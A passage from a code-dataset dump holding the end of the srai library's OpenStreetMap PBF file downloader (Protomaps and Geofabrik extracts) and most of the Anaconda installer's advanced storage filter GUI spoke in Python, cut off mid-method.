0.001,\n        0.002,\n        0.005,\n        0.01,\n        0.02,\n        0.05,\n    ]\n\n    def __init__(\n        self,\n        download_source: PbfSourceLiteral = \"protomaps\",\n        download_directory: Union[str, Path] = \"files\",\n        switch_to_geofabrik_on_error: bool = True,\n    ) -> None:\n        \"\"\"\n        Initialize PbfFileDownloader.\n\n        Args:\n            download_source (PbfSourceLiteral, optional): Source to use when downloading PBF files.\n                Can be one of: `geofabrik`, `openstreetmap_fr`, `protomaps`.\n                Defaults to \"protomaps\".\n            download_directory (Union[str, Path], optional): Directory where to save\n                the downloaded `*.osm.pbf` files. Defaults to \"files\".\n            switch_to_geofabrik_on_error (bool, optional): Flag whether to automatically\n                switch `download_source` to 'geofabrik' if error occures. Defaults to `True`.\n        \"\"\"\n        self.download_source = download_source\n        self.download_directory = download_directory\n        self.clipper = PbfFileClipper(working_directory=self.download_directory)\n        self.switch_to_geofabrik_on_error = switch_to_geofabrik_on_error\n\n    def download_pbf_files_for_regions_gdf(\n        self, regions_gdf: gpd.GeoDataFrame\n    ) -> Dict[Hashable, Sequence[Path]]:\n        \"\"\"\n        Download PBF files for regions GeoDataFrame.\n\n        Function will split each multipolygon into single polygons and download PBF files\n        for each of them.\n\n        Args:\n            regions_gdf (gpd.GeoDataFrame): Region indexes and geometries.\n\n        Raises:\n            ValueError: If provided geometries aren't shapely.geometry.Polygons.\n\n        Returns:\n            Dict[Hashable, Sequence[Path]]: List of Paths to downloaded PBF files per\n                each region_id.\n        \"\"\"\n        regions_mapping: Dict[Hashable, Sequence[Path]] = {}\n\n        non_polygon_types = set(\n            type(geometry)\n            for geometry in flatten_geometry_series(regions_gdf.geometry)\n            if not isinstance(geometry, Polygon)\n        )\n        if non_polygon_types:\n            raise ValueError(f\"Provided geometries aren't Polygons (found: {non_polygon_types})\")\n\n        try:\n            if self.download_source == \"protomaps\":\n                regions_mapping = self._download_pbf_files_for_polygons_from_protomaps(regions_gdf)\n            elif self.download_source in PbfSourceExtractsFunctions:\n                regions_mapping = self._download_pbf_files_for_polygons_from_existing_extracts(\n                    regions_gdf\n                )\n        except Exception as err:\n            if self.download_source != \"geofabrik\" and self.switch_to_geofabrik_on_error:\n                warnings.warn(\n                    f\"Error occured ({err}). Auto-switching to 'geofabrik' download source.\",\n                    stacklevel=1,\n                )\n                regions_mapping = self._download_pbf_files_for_polygons_from_existing_extracts(\n                    regions_gdf, override_to_geofabrik=True\n                )\n            else:\n                error_message = str(err)\n                if self.download_source != \"geofabrik\":\n                    error_message += (\n                        \"\\nPlease change the 'download_source' to\"\n                        \" 'geofabrik' or other availablesource:\\n\"\n                        \" PbfDownloader(download_source='geofabrik', ...) or\"\n                        \" OsmPbfLoader(download_source='geofabrik', ...).\"\n                    )\n                raise RuntimeError(error_message) from err\n\n        return regions_mapping\n\n    def _download_pbf_files_for_polygons_from_existing_extracts(\n        self, regions_gdf: gpd.GeoDataFrame, override_to_geofabrik: bool = False\n    ) -> Dict[Hashable, Sequence[Path]]:\n        regions_mapping: Dict[Hashable, Sequence[Path]] = {}\n\n        unary_union_geometry = regions_gdf.geometry.unary_union\n\n        if override_to_geofabrik:\n            extract_function = PbfSourceExtractsFunctions[\"geofabrik\"]\n        else:\n            extract_function = PbfSourceExtractsFunctions[self.download_source]\n        extracts = extract_function(unary_union_geometry)\n\n        downloaded_pbf_files = []\n\n        for extract in extracts:\n            pbf_file_path = Path(self.download_directory).resolve() / f\"{extract.id}.osm.pbf\"\n\n            download_file(url=extract.url, fname=pbf_file_path.as_posix(), force_download=False)\n\n            downloaded_pbf_files.append(pbf_file_path)\n\n        polygons = flatten_geometry(unary_union_geometry)\n\n        for region_id, row in regions_gdf.iterrows():\n            polygons = flatten_geometry(row.geometry)\n            regions_mapping[region_id] = [\n                self.clipper.clip_pbf_file(polygon, downloaded_pbf_files) for polygon in polygons\n            ]\n\n        return regions_mapping\n\n    def _download_pbf_files_for_polygons_from_protomaps(\n        self, regions_gdf: gpd.GeoDataFrame\n    ) -> Dict[Hashable, Sequence[Path]]:\n        regions_mapping: Dict[Hashable, Sequence[Path]] = {}\n\n        for region_id, row in regions_gdf.iterrows():\n            polygons = flatten_geometry(row.geometry)\n            regions_mapping[region_id] = [\n                self._download_pbf_file_for_polygon_from_protomaps(\n                    polygon, region_id, polygon_id + 1\n                )\n                for polygon_id, polygon in enumerate(polygons)\n            ]\n\n        return regions_mapping\n\n    def _download_pbf_file_for_polygon_from_protomaps(\n        self, polygon: Polygon, region_id: str = \"OSM\", polygon_id: int = 1\n    ) -> Path:\n        \"\"\"\n        Download PBF file for a single Polygon.\n\n        Function will buffer polygon by 50 meters, simplify exterior boundary to be\n        below 1000 points (which is a limit of Protomaps API) and close all holes within it.\n\n        Boundary of the polygon will be sent to Protomaps service and an `*.osm.pbf` file\n        will be downloaded with a hash based on WKT representation of the parsed polygon.\n        If file exists, it won't be downloaded again.\n\n        Args:\n            polygon (Polygon): Polygon boundary of an area to be extracted.\n            region_id (str, optional): Region name to be set in progress bar.\n                Defaults to \"OSM\".\n            polygon_id (int, optional): Polygon number to be set in progress bar.\n                Defaults to 1.\n\n        Returns:\n            Path: Path to a downloaded `*.osm.pbf` file.\n        \"\"\"\n        geometry_hash = get_geometry_hash(polygon)\n        pbf_file_path = Path(self.download_directory).resolve() / f\"{geometry_hash}.osm.pbf\"\n\n        if not pbf_file_path.exists():  # pragma: no cover\n            boundary_polygon = self._prepare_polygon_for_download(polygon)\n            geometry_geojson = mapping(boundary_polygon)\n\n            s = requests.Session()\n\n            req = s.get(url=self.PROTOMAPS_API_START_URL)\n\n            csrf_token = req.cookies[\"csrftoken\"]\n            headers = {\n                \"Referer\": self.PROTOMAPS_API_START_URL,\n                \"Cookie\": f\"csrftoken={csrf_token}\",\n                \"X-CSRFToken\": csrf_token,\n                \"Content-Type\": \"application/json; charset=utf-8\",\n                \"User-Agent\": \"SRAI Python package (https://github.com/kraina-ai/srai)\",\n            }\n            request_payload = {\n                \"region\": {\"type\": \"geojson\", \"data\": geometry_geojson},\n                \"name\": geometry_hash,\n            }\n\n            start_extract_request = s.post(\n                url=self.PROTOMAPS_API_START_URL,\n                json=request_payload,\n                headers=headers,\n                cookies=dict(csrftoken=csrf_token),\n            )\n            start_extract_request.raise_for_status()\n\n            start_extract_result = start_extract_request.json()\n            try:\n                extraction_uuid = start_extract_result[\"uuid\"]\n                status_check_url = start_extract_result[\"url\"]\n            except KeyError as err:\n                error_message = (\n                    f\"Error from the 'Protomaps' service: {json.dumps(start_extract_result)}.\"\n                )\n                raise RuntimeError(error_message) from err\n\n            with tqdm() as pbar:\n                status_response: Dict[str, Any] = {}\n                cells_total = 0\n                nodes_total = 0\n                elems_total = 0\n                start_time = time.time()\n                while not status_response.get(\"Complete\", False):\n                    sleep(0.5)\n                    status_response = s.get(url=status_check_url).json()\n                    cells_total = max(cells_total, status_response.get(\"CellsTotal\", 0))\n                    nodes_total = max(nodes_total, status_response.get(\"NodesTotal\", 0))\n                    elems_total = max(elems_total, status_response.get(\"ElemsTotal\", 0))\n\n                    cells_prog = status_response.get(\"CellsProg\", None)\n                    nodes_prog = status_response.get(\"NodesProg\", None)\n                    elems_prog = status_response.get(\"ElemsProg\", None)\n\n                    if cells_total > 0 and cells_prog is not None and cells_prog < cells_total:\n                        pbar.set_description(\n                            self._PBAR_FORMAT.format(region_id, polygon_id, \"Cells\")\n                        )\n                        pbar.total = cells_total + nodes_total + elems_total\n                        pbar.n = cells_prog\n                    elif nodes_total > 0 and nodes_prog is not None and nodes_prog < nodes_total:\n                        pbar.set_description(\n                            self._PBAR_FORMAT.format(region_id, polygon_id, \"Nodes\")\n                        )\n                        pbar.total = cells_total + nodes_total + elems_total\n                        pbar.n = cells_total + nodes_prog\n                    elif elems_total > 0 and elems_prog is not None and elems_prog < elems_total:\n                        pbar.set_description(\n                            self._PBAR_FORMAT.format(region_id, polygon_id, \"Elements\")\n                        )\n                        pbar.total = cells_total + nodes_total + elems_total\n                        pbar.n = cells_total + nodes_total + elems_prog\n                    else:\n                        pbar.total = cells_total + nodes_total + elems_total\n                        pbar.n = cells_total + nodes_total + elems_total\n\n                    pbar.refresh()\n\n                    if (time.time() - start_time) > self.PROTOMAPS_MAX_WAIT_TIME_S:\n                        error_message = (\n                            \"'Protomaps' service took too long to generate an extract\"\n                            f\" ({self.PROTOMAPS_MAX_WAIT_TIME_S}s).\"\n                        )\n                        raise RuntimeError(error_message)\n\n            try:\n                download_file(\n                    url=self.PROTOMAPS_API_DOWNLOAD_URL.format(extraction_uuid),\n                    fname=pbf_file_path.as_posix(),\n                )\n            except HTTPError as err:\n                error_message = f\"Error from the 'Protomaps' service: {err.response}.\"\n                raise RuntimeError(error_message) from err\n\n        return pbf_file_path\n\n    def _prepare_polygon_for_download(self, polygon: Polygon) -> Polygon:\n        \"\"\"\n        Prepare polygon for download.\n\n        Function buffers the polygon, closes internal holes and simplifies its boundary to 1000\n        points.\n\n        Makes sure that the generated polygon with fully cover the original one by increasing the\n        buffer size incrementally. Buffering is applied to the last simplified geometry to speed up\n        the process.\n        \"\"\"\n        is_fully_covered = False\n        buffer_size_meters = 50\n\n        polygon_to_buffer = polygon\n\n        while not is_fully_covered:\n            buffered_polygon = buffer_geometry(polygon_to_buffer, meters=buffer_size_meters)\n            simplified_polygon = self._simplify_polygon(buffered_polygon, 1000)\n            closed_polygon = remove_interiors(simplified_polygon)\n            is_fully_covered = polygon.covered_by(closed_polygon)\n            buffer_size_meters += 50\n\n            polygon_to_buffer = closed_polygon\n\n        return closed_polygon\n\n    def _simplify_polygon(self, polygon: Polygon, exterior_max_points: int = 1000) -> Polygon:\n        \"\"\"Simplify a polygon boundary to up to provided number of points.\"\"\"\n        simplified_polygon = polygon\n\n        for simplify_tolerance in self.SIMPLIFICATION_TOLERANCE_VALUES:\n            simplified_polygon = (\n                tp.Topology(\n                    polygon,\n                    toposimplify=simplify_tolerance,\n                    prevent_oversimplify=True,\n                )\n                .to_gdf(winding_order=\"CW_CCW\", crs=WGS84_CRS, validate=True)\n                .geometry[0]\n            )\n\n            if len(simplified_polygon.exterior.coords) < exterior_max_points:\n                break\n\n        if len(simplified_polygon.exterior.coords) > exterior_max_points:\n            simplified_polygon = polygon.convex_hull\n\n        if len(simplified_polygon.exterior.coords) > exterior_max_points:\n            simplified_polygon = polygon.minimum_rotated_rectangle\n\n        return simplified_polygon\n","repo_name":"srai-lab/srai","sub_path":"srai/loaders/osm_loaders/pbf_file_downloader.py","file_name":"pbf_file_downloader.py","file_ext":"py","file_size_in_byte":15912,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"35"}
{"seq_id":"74984536420","text":"from collections import namedtuple\n\nfrom blivet.size import Size\n\nfrom pyanaconda.anaconda_loggers import get_module_logger\nfrom pyanaconda.core.i18n import CN_, CP_\nfrom pyanaconda.modules.common.structures.storage import DeviceData\nfrom pyanaconda.ui.lib.storage import apply_disk_selection, try_populate_devicetree, \\\n    filter_disks_by_names\nfrom pyanaconda.modules.common.constants.objects import DISK_SELECTION, FCOE, ISCSI, DASD, \\\n    DEVICE_TREE\nfrom pyanaconda.modules.common.constants.services import STORAGE\n\nfrom pyanaconda.ui.gui.utils import timed_action, really_show, really_hide\nfrom pyanaconda.ui.gui.spokes import NormalSpoke\nfrom pyanaconda.ui.gui.spokes.advstorage.fcoe import FCoEDialog\nfrom pyanaconda.ui.gui.spokes.advstorage.iscsi import ISCSIDialog\nfrom pyanaconda.ui.gui.spokes.advstorage.zfcp import ZFCPDialog\nfrom pyanaconda.ui.gui.spokes.advstorage.dasd import DASDDialog\nfrom pyanaconda.ui.gui.spokes.advstorage.nvdimm import NVDIMMDialog\nfrom pyanaconda.ui.gui.spokes.lib.cart import SelectedDisksDialog\nfrom pyanaconda.ui.categories.system import SystemCategory\n\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\n\nlog = get_module_logger(__name__)\n\n__all__ = [\"FilterSpoke\"]\n\nPAGE_SEARCH = 0\nPAGE_MULTIPATH = 1\nPAGE_OTHER = 2\nPAGE_NVDIMM = 3\nPAGE_Z = 4\n\nDiskStoreRow = namedtuple(\"DiskStoreRow\", [\n    \"visible\", \"selected\", \"mutable\",\n    \"name\", \"type\", \"model\", \"capacity\",\n    \"vendor\", \"interconnect\", \"serial\",\n    \"wwid\", \"paths\", \"port\", \"target\",\n    \"lun\", \"ccw\", \"wwpn\", \"namespace\", \"mode\"\n])\n\n\ndef create_row(device_data, selected, mutable):\n    \"\"\"Create a disk store row for the given data.\n\n    :param device_data: an instance of DeviceData\n    :param selected: True if the device is selected, otherwise False\n    :param mutable: False if the device is protected, otherwise True\n    :return: an instance of DiskStoreRow\n    \"\"\"\n    return DiskStoreRow(\n        visible=True,\n        selected=selected,\n        mutable=mutable and not device_data.protected,\n        name=device_data.name,\n        type=device_data.type,\n        model=device_data.attrs.get(\"model\", \"\"),\n        capacity=str(Size(device_data.size)),\n        vendor=device_data.attrs.get(\"vendor\", \"\"),\n        interconnect=device_data.attrs.get(\"bus\", \"\"),\n        serial=device_data.attrs.get(\"serial\", \"\"),\n        wwid=device_data.attrs.get(\"path-id\", \"\"),\n        paths=\"\\n\".join(device_data.parents),\n        port=device_data.attrs.get(\"port\", \"\"),\n        target=device_data.attrs.get(\"target\", \"\"),\n        lun=device_data.attrs.get(\"lun\", \"\") or device_data.attrs.get(\"fcp-lun\", \"\"),\n        ccw=device_data.attrs.get(\"hba-id\", \"\"),\n        wwpn=device_data.attrs.get(\"wwpn\", \"\"),\n        namespace=device_data.attrs.get(\"namespace\", \"\"),\n        mode=device_data.attrs.get(\"mode\", \"\")\n    )\n\n\nclass FilterPage(object):\n    \"\"\"A FilterPage is the logic behind one of the notebook tabs on the filter\n       UI spoke.  Each page has its own specific filtered model overlaid on top\n       of a common model that holds all non-advanced disks.\n\n       A Page is created once, when the filter spoke is initialized.  It is\n       setup multiple times - each time the spoke is revisited.  When the Page\n       is setup, it is given a complete view of all disks that belong on this\n       Page.  This is because certain pages may require populating a combo with\n       all vendor names, or other similar tasks.\n\n       This class is just a base class.  One subclass should be created for each\n       more specialized type of page.  Only one instance of each subclass should\n       ever be created.\n    \"\"\"\n    # Default value of a type combo.\n    SEARCH_TYPE_NONE = 'None'\n\n    def __init__(self, builder, model_name, combo_name):\n        \"\"\"Create a new FilterPage instance.\n\n        :param builder: a instance of the Gtk.Builder\n        :param model_name: a name of the filter model\n        :param combo_name: a name of the type combo\n        \"\"\"\n        self._builder = builder\n        self._is_active = False\n\n        self._model = self._builder.get_object(model_name)\n        self._model.set_visible_func(self.visible_func)\n\n        self._combo = self._builder.get_object(combo_name)\n\n    @property\n    def model(self):\n        \"\"\"The model.\"\"\"\n        return self._model\n\n    @property\n    def is_active(self):\n        \"\"\"Is the filter active?\"\"\"\n        return self._is_active\n\n    @is_active.setter\n    def is_active(self, value):\n        self._is_active = value\n\n    def is_member(self, device_type):\n        \"\"\"Does device belong on this page?  This function should taken into\n           account what kind of thing device is.  It should not be concerned\n           with any sort of filtering settings.  It only determines whether\n           device belongs.\n        \"\"\"\n        return True\n\n    def setup(self, store, disks, selected_names, protected_names):\n        \"\"\"Do whatever setup of the UI is necessary before this page can be\n           displayed.  This function is called every time the filter spoke\n           is revisited, and thus must first do any cleanup that is necessary.\n\n           The setup function is passed a reference to the primary store, a list\n           of names of disks the user has selected (either from a previous visit\n           or via kickstart), and a list of all disk objects that belong on this\n           page as determined from the is_member method.\n\n           At the least, this method should add all the disks to the store.  It\n           may also need to populate combos and other lists as appropriate.\n        \"\"\"\n        pass\n\n    def _setup_combo(self, combo, items):\n        \"\"\"Populate a given GtkComboBoxText instance with a list of items.\n\n        The combo will first be cleared, so this method is suitable for calling\n        repeatedly. The first item in the list will be empty to allow the combo\n        box criterion to be cleared. The first non-empty item in the list will\n        be selected by default.\n        \"\"\"\n        combo.remove_all()\n        combo.append_text('')\n\n        # Remove duplicate and empty items and sort them.\n        items = sorted(set(filter(None, items)))\n\n        for i in items:\n            combo.append_text(i)\n\n        if items:\n            combo.set_active(1)\n\n    def _setup_search_type(self):\n        \"\"\"Set up the default search type.\"\"\"\n        self._combo.set_active_id(self.SEARCH_TYPE_NONE)\n        self._combo.emit(\"changed\")\n\n    def clear(self):\n        \"\"\"Blank out any filtering-related fields on this page and return them\n           to their defaults.  This is called when the Clear button is clicked.\n        \"\"\"\n        pass\n\n    def visible_func(self, model, itr, *args):\n        \"\"\"This method is called for every row (disk) in the store, in order to\n           determine if it should be displayed on this page or not.  This method\n           should take into account whether is_active is set, perhaps whether\n           something in pyanaconda.flags is setup, and other settings to make\n           a final decision.  Because filtering can be complicated, many pages\n           will want to farm this decision out to another method.\n\n           The return value is a boolean indicating whether the row is visible\n           or not.\n        \"\"\"\n        if not self._is_active:\n            return True\n\n        row = DiskStoreRow(*model[itr])\n        if not self.is_member(row.type):\n            return False\n\n        log.debug(\"Filter %s with %s.\", row.name, str(self))\n\n        filter_by = self._combo.get_active_id()\n        if filter_by == self.SEARCH_TYPE_NONE:\n            return True\n\n        return self._filter_func(filter_by, row)\n\n    def _filter_func(self, filter_by, row):\n        \"\"\"Filter a row by the specified filter.\"\"\"\n        return True\n\n    def __str__(self):\n        \"\"\"Get the name of the filter.\"\"\"\n        return self.__class__.__name__\n\n\nclass SearchPage(FilterPage):\n    # Match these to searchTypeCombo ids in glade\n    SEARCH_TYPE_PORT_TARGET_LUN = 'PTL'\n    SEARCH_TYPE_WWID = 'WWID'\n\n    def __init__(self, builder):\n        super().__init__(builder, \"searchModel\", \"searchTypeCombo\")\n        self._lun_entry = self._builder.get_object(\"searchLUNEntry\")\n        self._wwid_entry = self._builder.get_object(\"searchWWIDEntry\")\n        self._port_combo = self._builder.get_object(\"searchPortCombo\")\n        self._target_entry = self._builder.get_object(\"searchTargetEntry\")\n\n    def setup(self, store, disks, selected_names, protected_names):\n        ports = set()\n\n        for device_data in disks:\n            ports.add(device_data.attrs.get(\"port\"))\n\n        self._setup_combo(self._port_combo, ports)\n        self._setup_search_type()\n\n    def clear(self):\n        self._lun_entry.set_text(\"\")\n        self._port_combo.set_active(0)\n        self._target_entry.set_text(\"\")\n        self._wwid_entry.set_text(\"\")\n\n    def _filter_func(self, filter_by, row):\n        if filter_by == self.SEARCH_TYPE_PORT_TARGET_LUN:\n            port = self._port_combo.get_active_text()\n            if port and port != row.port:\n                return False\n\n            target = self._target_entry.get_text().strip()\n            if target and target not in row.target:\n                return False\n\n            lun = self._lun_entry.get_text().strip()\n            if lun and lun not in row.lun:\n                return False\n\n            return True\n\n        if filter_by == self.SEARCH_TYPE_WWID:\n            return self._wwid_entry.get_text() in row.wwid\n\n        return False\n\n\nclass MultipathPage(FilterPage):\n    # Match these to multipathTypeCombo ids in glade\n    SEARCH_TYPE_VENDOR = 'Vendor'\n    SEARCH_TYPE_INTERCONNECT = 'Interconnect'\n    SEARCH_TYPE_WWID = 'WWID'\n\n    def __init__(self, builder):\n        super().__init__(builder, \"multipathModel\", \"multipathTypeCombo\")\n        self._ic_combo = self._builder.get_object(\"multipathInterconnectCombo\")\n        self._vendor_combo = self._builder.get_object(\"multipathVendorCombo\")\n        self._wwid_entry = self._builder.get_object(\"multipathWWIDEntry\")\n\n    def is_member(self, device_type):\n        return device_type == \"dm-multipath\"\n\n    def setup(self, store, disks, selected_names, protected_names):\n        vendors = set()\n        interconnects = set()\n\n        for device_data in disks:\n            row = create_row(\n                device_data,\n                device_data.name in selected_names,\n                device_data.name not in protected_names\n            )\n\n            store.append(list(row))\n            vendors.add(device_data.attrs.get(\"vendor\"))\n            interconnects.add(device_data.attrs.get(\"bus\"))\n\n        self._setup_combo(self._vendor_combo, vendors)\n        self._setup_combo(self._ic_combo, interconnects)\n        self._setup_search_type()\n\n    def clear(self):\n        self._ic_combo.set_active(0)\n        self._vendor_combo.set_active(0)\n        self._wwid_entry.set_text(\"\")\n\n    def _filter_func(self, filter_by, row):\n        if filter_by == self.SEARCH_TYPE_VENDOR:\n            return row.vendor == self._vendor_combo.get_active_text()\n\n        if filter_by == self.SEARCH_TYPE_INTERCONNECT:\n            return row.interconnect == self._ic_combo.get_active_text()\n\n        if filter_by == self.SEARCH_TYPE_WWID:\n            return self._wwid_entry.get_text() in row.wwid\n\n        return False\n\n\nclass OtherPage(FilterPage):\n    # Match these to otherTypeCombo ids in glade\n    SEARCH_TYPE_VENDOR = 'Vendor'\n    SEARCH_TYPE_INTERCONNECT = 'Interconnect'\n    SEARCH_TYPE_ID = 'ID'\n\n    def __init__(self, builder):\n        super().__init__(builder, \"otherModel\", \"otherTypeCombo\")\n        self._ic_combo = self._builder.get_object(\"otherInterconnectCombo\")\n        self._id_entry = self._builder.get_object(\"otherIDEntry\")\n        self._vendor_combo = self._builder.get_object(\"otherVendorCombo\")\n\n    def is_member(self, device_type):\n        return device_type == \"iscsi\" or device_type == \"fcoe\"\n\n    def setup(self, store, disks, selected_names, protected_names):\n        vendors = set()\n        interconnects = set()\n\n        for device_data in disks:\n            row = create_row(\n                device_data,\n                device_data.name in selected_names,\n                device_data.name not in protected_names\n            )\n\n            store.append([*row])\n            vendors.add(device_data.attrs.get(\"vendor\"))\n            interconnects.add(device_data.attrs.get(\"bus\"))\n\n        self._setup_combo(self._vendor_combo, vendors)\n        self._setup_combo(self._ic_combo, interconnects)\n        self._setup_search_type()\n\n    def clear(self):\n        self._ic_combo.set_active(0)\n        self._id_entry.set_text(\"\")\n        self._vendor_combo.set_active(0)\n\n    def _filter_func(self, filter_by, row):\n        if filter_by == self.SEARCH_TYPE_VENDOR:\n            return self._vendor_combo.get_active_text() == row.vendor\n\n        if filter_by == self.SEARCH_TYPE_INTERCONNECT:\n            return self._ic_combo.get_active_text() == row.interconnect\n\n        if filter_by == self.SEARCH_TYPE_ID:\n            return self._id_entry.get_text().strip() in row.wwid\n\n        return False\n\n\nclass ZPage(FilterPage):\n    # Match these to zTypeCombo ids in glade\n    SEARCH_TYPE_CCW = 'CCW'\n    SEARCH_TYPE_WWPN = 'WWPN'\n    SEARCH_TYPE_LUN = 'LUN'\n\n    def __init__(self, builder):\n        super().__init__(builder, \"zModel\", \"zTypeCombo\")\n        self._ccw_entry = self._builder.get_object(\"zCCWEntry\")\n        self._wwpn_entry = self._builder.get_object(\"zWWPNEntry\")\n        self._lun_entry = self._builder.get_object(\"zLUNEntry\")\n\n    def clear(self):\n        self._lun_entry.set_text(\"\")\n        self._ccw_entry.set_text(\"\")\n        self._wwpn_entry.set_text(\"\")\n\n    def is_member(self, device_type):\n        return device_type == \"zfcp\" or device_type == \"dasd\"\n\n    def setup(self, store, disks, selected_names, protected_names):\n        \"\"\" Set up our Z-page, but only if we're running on s390x. \"\"\"\n        for device_data in disks:\n            if device_data.type != \"zfcp\":\n                continue\n\n            row = create_row(\n                device_data,\n                device_data.name in selected_names,\n                device_data.name not in protected_names\n            )\n\n            store.append([*row])\n\n        self._setup_search_type()\n\n    def _filter_func(self, filter_by, row):\n        if filter_by == self.SEARCH_TYPE_CCW:\n            return self._ccw_entry.get_text() in row.ccw\n\n        if filter_by == self.SEARCH_TYPE_WWPN:\n            return self._wwpn_entry.get_text() in row.wwpn\n\n        if filter_by == self.SEARCH_TYPE_LUN:\n            return self._lun_entry.get_text() in row.lun\n\n        return False\n\n\nclass NvdimmPage(FilterPage):\n    # Match these to nvdimmTypeCombo ids in glade\n    SEARCH_TYPE_NAMESPACE = 'Namespace'\n    SEARCH_TYPE_MODE = 'Mode'\n\n    def __init__(self, builder):\n        super().__init__(builder, \"nvdimmModel\", \"nvdimmTypeCombo\")\n        self._tree_view = self._builder.get_object(\"nvdimmTreeView\")\n        self._mode_combo = self._builder.get_object(\"nvdimmModeCombo\")\n        self._namespace_entry = self._builder.get_object(\"nvdimmNamespaceEntry\")\n\n    def is_member(self, device_type):\n        return device_type == \"nvdimm\"\n\n    def setup(self, store, disks, selected_names, protected_names):\n        modes = set()\n\n        for device_data in disks:\n            mode = device_data.attrs.get(\"mode\")\n            row = create_row(\n                device_data,\n                device_data.name in selected_names and mode == \"sector\",\n                device_data.name not in protected_names or mode != \"sector\",\n            )\n\n            store.append([*row])\n            modes.add(mode)\n\n        self._setup_combo(self._mode_combo, modes)\n        self._setup_search_type()\n\n    def clear(self):\n        self._mode_combo.set_active(0)\n        self._namespace_entry.set_text(\"\")\n\n    def _filter_func(self, filter_by, row):\n        if filter_by == self.SEARCH_TYPE_MODE:\n            return self._mode_combo.get_active_text() == row.mode\n\n        if filter_by == self.SEARCH_TYPE_NAMESPACE:\n            return self._namespace_entry.get_text().strip() in row.namespace\n\n        return False\n\n    def get_selected_namespaces(self):\n        namespaces = []\n        selection = self._tree_view.get_selection()\n        store, path_list = selection.get_selected_rows()\n\n        for path in path_list:\n            store_row = DiskStoreRow(*store[store.get_iter(path)])\n            namespaces.append(store_row.namespace)\n\n        return namespaces\n\n\nclass FilterSpoke(NormalSpoke):\n    \"\"\"\n       .. inheritance-diagram:: FilterSpoke\n          :parts: 3\n    \"\"\"\n    builderObjects = [\"diskStore\", \"filterWindow\",\n                      \"searchModel\", \"multipathModel\", \"otherModel\", \"zModel\", \"nvdimmModel\"]\n    mainWidgetName = \"filterWindow\"\n    uiFile = \"spokes/advanced_storage.glade\"\n    category = SystemCategory\n    title = CN_(\"GUI|Spoke\", \"_Installation Destination\")\n\n    @staticmethod\n    def get_screen_id():\n        \"\"\"Return a unique id of this UI screen.\"\"\"\n        return \"storage-advanced-configuration\"\n\n    def __init__(self, *args):\n        super().__init__(*args)\n        self.applyOnSkip = True\n\n        self._pages = {}\n        self._ancestors = []\n        self._disks = []\n        self._selected_disks = []\n        self._protected_disks = []\n\n        self._storage_module = STORAGE.get_proxy()\n        self._device_tree = STORAGE.get_proxy(DEVICE_TREE)\n        self._disk_selection = STORAGE.get_proxy(DISK_SELECTION)\n\n        self._notebook = self.builder.get_object(\"advancedNotebook\")\n        self._store = self.builder.get_object(\"diskStore\")\n        self._reconfigure_nvdimm_button = self.builder.get_object(\"reconfigureNVDIMMButton\")\n\n    @property\n    def indirect(self):\n        return True\n\n    # This spoke has no status since it's not in a hub\n    @property\n    def status(self):\n        return None\n\n    def apply(self):\n        apply_disk_selection(self._selected_disks)\n\n    def initialize(self):\n        super().initialize()\n        self.initialize_start()\n\n        self._pages = {\n            PAGE_SEARCH: SearchPage(self.builder),\n            PAGE_MULTIPATH: MultipathPage(self.builder),\n            PAGE_OTHER: OtherPage(self.builder),\n            PAGE_NVDIMM: NvdimmPage(self.builder),\n            PAGE_Z: ZPage(self.builder),\n        }\n\n        if not STORAGE.get_proxy(DASD).IsSupported():\n            self._notebook.remove_page(PAGE_Z)\n            self._pages.pop(PAGE_Z)\n\n            self.builder.get_object(\"addZFCPButton\").destroy()\n            self.builder.get_object(\"addDASDButton\").destroy()\n\n        if not STORAGE.get_proxy(FCOE).IsSupported():\n            self.builder.get_object(\"addFCOEButton\").destroy()\n\n        if not STORAGE.get_proxy(ISCSI).IsSupported():\n            self.builder.get_object(\"addISCSIButton\").destroy()\n\n        # The button is sensitive only on NVDIMM page\n        self._reconfigure_nvdimm_button.set_sensitive(False)\n\n        # report that we are done\n        self.initialize_done()\n\n    def refresh(self):\n        super().refresh()\n\n        # Reset the scheduled partitioning if any to make sure that we\n        # are working with the current system's storage configuration.\n        # FIXME: Change modules and UI to work with the right device tree.\n        self._storage_module.ResetPartitioning()\n\n        self._disks = self._disk_selection.GetUsableDisks()\n        self._selected_disks = self._disk_selection.SelectedDisks\n        self._protected_disks = self._disk_selection.ProtectedDevices\n        self._ancestors = self._device_tree.GetAncestors(self._disks)\n\n        # Now all all the non-local disks to the store.  Everything has been set up\n        # ahead of time, so there's no need to configure anything.  We first make\n        # these lists of disks, then call setup on each individual page.  This is\n        # because there could be page-specific setup to do that requires a complete\n        # view of all the disks on that page.\n        self._store.clear()\n\n        disks_data = DeviceData.from_structure_list([\n            self._device_tree.GetDeviceData(device_name)\n            for device_name in self._disks\n        ])\n\n        for page in self._pages.values():\n            disks = [\n                d for d in disks_data\n                if page.is_member(d.type)\n            ]\n\n            page.setup(\n                self._store,\n                disks,\n                self._selected_disks,\n                self._protected_disks\n            )\n\n        self._update_summary()\n\n    def _update_summary(self):\n        summary_button = self.builder.get_object(\"summary_button\")\n        label = self.builder.get_object(\"summary_button_label\")\n\n        # We need to remove ancestor devices from the count.  Otherwise, we'll\n        # end up in a situation where selecting one multipath device could\n        # potentially show three devices selected (mpatha, sda, sdb for instance).\n        count = len([\n            disk for disk in self._selected_disks\n            if disk not in self._ancestors\n        ])\n\n        summary = CP_(\n            \"GUI|Installation Destination|Filter\",\n            \"{} _storage device selected\",\n            \"{} _storage devices selected\",\n            count\n        ).format(count)\n\n        if count > 0:\n            really_show(summary_button)\n            label.set_text(summary)\n            label.set_use_underline(True)\n        else:\n            really_hide(summary_button)\n\n    def on_back_clicked(self, button):\n        self.skipTo = \"StorageSpoke\"\n        super().on_back_clicked(button)\n\n    def on_summary_clicked(self, button):\n        disks = filter_disks_by_names(\n            self._disks, self._selected_disks\n        )\n        dialog = SelectedDisksDialog(\n            self.data, disks, show_remove=False, set_boot=False\n        )\n\n        with self.main_window.enlightbox(dialog.window):\n            dialog.refresh()\n            dialog.run()\n\n    def on_clear_icon_clicked(self, entry, icon_pos, event):\n        if icon_pos == Gtk.EntryIconPosition.SECONDARY:\n            entry.set_text(\"\")\n\n    def on_page_switched(self, notebook, new_page, new_page_num, *args):\n        # Disable all filters.\n        for page in self._pages.values():\n            page.is_active = False\n\n        # Set up the new page.\n        page = self._pages[new_page_num]\n        page.is_active = True\n        page.model.refilter()\n\n        log.debug(\"Show the page %s.\", str(page))\n\n        # 